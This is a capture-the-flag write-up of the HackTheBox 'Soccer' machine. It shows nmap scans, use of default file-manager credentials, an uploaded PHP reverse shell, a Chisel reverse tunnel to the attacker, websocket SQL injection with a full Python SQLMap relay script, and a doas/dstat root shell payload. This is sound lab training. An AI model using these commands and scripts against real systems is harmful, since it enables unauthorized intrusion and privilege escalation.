HackTheBox: Soccer

HackTheBox: Soccer

·

6 min read

Introduction

Soccer is rated as an easy-difficulty linux machine on HackTheBox. This box serves up a couple of surprises that require some port forwarding as well as an injection vector that I don't normally come across. All-in-all it was a great box to learn a couple new tricks from.

Enumeration

We run an initial port scan to get started, but also do a full port scan with:

  • nmap -p- --min-rate=3000 --max-retries=5 -vv -oA nmap/allPorts $IP

After that finishes running we run a default script and version enumeration scan on only those ports with:

  • nmap -sVC -vv -oA nmap/serviceScan $IP -p22,80,9091

From the results of that scan we can see:

  • OpenSSH on what looks to be Ubuntu OS.

  • An Nginx webserver on port 80.

  • Lastly, we see an unknown service on port 9091. However, it does appear to be serving some kind of HTTP as we can see the response declaring a <!DOCTYPE html> tag.

Initial Foothold

Right now we don't have any credentials to use with SSH and we still don't have much of an idea of what's on port 9091, so we'll start with the webserver on port 80.

  • When we first try browsing to the web server using the IP address at http://10.10.11.194/ we get a 301 in response which points us to http://soccer.htb/. Our computer and our local DNS server have no idea where to find this host so it eventually errors out.

  • So we add this domain name, soccer.htb,to our /etc/hosts file, to reach the web server.

We initially just find a generic webserver landing page after adding soccer.htb to our /etc/hosts file.

  • After a while, we do some scanning with Feroxbuster and uncover the 'Tiny File Manager' at soccer.htb/tiny/

  • After a bit of snooping through the page source we identify what looks to be a software version of 2.4.3

There's an RCE exploit available that appears to upload a php reverse shell but it keeps failing as a result of the program install directory being different than default. https://www.exploit-db.com/exploits/50828

  • However, we can use it to learn the default credentials admin/admin@123 which are still in use and enable us to login and start looking around.

  • It appears that the web root at /var/www/html is unwritable due to lack of permissions, but we do find that we can copy the /var/www/html/tiny/uploads folder into itself and this allows us to create a directory owned by www-data.

    • After that we just use the file manager with admin privileges to upload a PentestMonkey reverse php shell.

Lateral Movement

So we get on to the box as www-data after discovering a writable folder within the TinyFileManager webapp, uploading a php reverse shell, and catching with Netcat.

While enumerating as www-data we notice that there are a few internal-only services.

  • Specifically, we notice what looks like MySQL on 3306 as well as another webserver on 3000

We also come across the nginx config file located at /etc/nginx/sites-enabled

  • The config file looks to establish several virtual hosts (or as Nginx would prefer you call them, several 'server blocks').

  • This looks like there's another virtual host(read: 'server block') called soc-player.soccer.htb on http://localhost:3000

In order to use our browser or any other tool as we normally would, we first need to tunnel out that service on port 3000. For this task, our tool of choice is Chisel.

  • On our attack machine, we start a Chisel server.

    • ./chisel server -p 9001 -reverse
  • On the victim machine, we start a Chisel client that calls back and creates a reverse tunnel mapping 127.0.0.1:3000 on the victim to 127.0.0.1:3000 on our attack machine.

    • ./chisel client 10.10.14.7:9001 R:3000:127.0.0.1:3000

    • ./chisel client HOST:IP R:RPORT:127.0.0.1:LPORT

  • We run a quick Nmap scan on our local port 3000 afterwards. Looks like a Node.js app called Soccer..weird.

When we load the site in our browser it looks similar to the first site, but this one has a signup/login functionality as well. So we signup, find a series of matches, and a page where we can check for tickets..

When we click on the "Tickets" link we notice the site trying to load a service from http://soc-player.soccer.htb on port 9001

  • The request initially fails even though we saw 9001 exposed earlier.

  • But! We haven't added that hostname to our /etc/hosts file yet. So after adding to our hosts file we see the request is successful

Now it's making the connection to the service on port 9091 and it's starting a websocket conversation.

  • This particular websocket conversation is one where we supply some json in the form {"id":"543"} and the server responds whether tickets are available or not.

  • This seems like a database retrieval/comparison operation.

  • We do some googling for websocket pentesting and come across the following article which details how to build a Python test harness to pass SQLmap requests through to a websocket target.

After a bit of trial and error, we get SQLMap working on the websocket.

  • After some time it identifies a time-based blind injection. It starts dumping the database and eventually we get a listing of all databases.

  • At this point we go back a second time, specifying the database type(mysql) and specific database(soccer_db) we would like to dump information from.

Privilege Escalation

Cool, we got a username and a password! These were for the website but we can try reusing them for SSH and happily, they work to get us on the box.

  • So now that we're on as a new user we start re-enumerating the system all over again.

  • With Linpeas we identify a potential escalation path in the doas.conf file.

We had seen the SUID bit set on /usr/local/bin/doas earlier, but when trying to use sudo our current user 'player' was unable to use ANY sudo commands.

  • However after some reading, it appears doas was originally used like sudo, albeit on different Linux distros.

    • Presumably, this conf file is stating that we should:

      • permit 'player' to run doas as root on the cmd /usr/bin/dstat with nopass.

According to GTFObins:

  • We can create and run an arbitrary Python script with the dstat binary.

  • We find that we can write to /usr/local/share/dstat/ so we place a dstat_blah.py file there.

    • We add the following to the file as our payload

    • import os; os.execv("/bin/sh",["sh"])

  • We execute and escalate with /usr/local/bin/doas -u root /usr/bin/dstat --hah

  • We're now root!

Beyond Root: Python harness for SQLMap use on Websockets

I mostly wanted to add this section in again, simply because it was incredibly helpful and I'm sure I'll likely need another Python harness for proxying a tool or a script to a WebSocket someday soo, figured I would leave it here in the meantime.
All credit goes to the creators, I'm just highlighting and reposting here.

Script from: https://exploit-notes.hdks.org/exploit/web/websocket-pentesting/#cross-site-websocket-hijacking
Even more details and theory at: https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://<target-ip-for-websocket>/"

def send_ws(payload):
    ws = create_connection(ws_server)

    message = unquote(payload).replace('"', '\'')
    data = '{"id":"%s"}' % message

    ws.send(data)
    resp = ws.recv()
    ws.close()

    if resp:
        return resp
    else:
        return ''

def middleware_server(host_port, content_type="text/plain"):

    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)
            try:
                payload = urlparse(self.path).query.split('=',1)[1]
            except IndexError:
                payload = False

            if payload:
                content = send_ws(payload)
            else:
                content = 'No parameters specified!'

            self.send_header("Content-Type", content_type)
            self.end_headers()
            self.wfile.write(content.encode())
            return

    class _TCPServer(TCPServer):
        allow_reuse_address = True

    httpd = _TCPServer(host_port, CustomHandler)
    httpd.serve_forever()

print("[+] Starting Middleware Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
    middleware_server(('0.0.0.0', 8081))
except KeyboardInterrupt:
    pass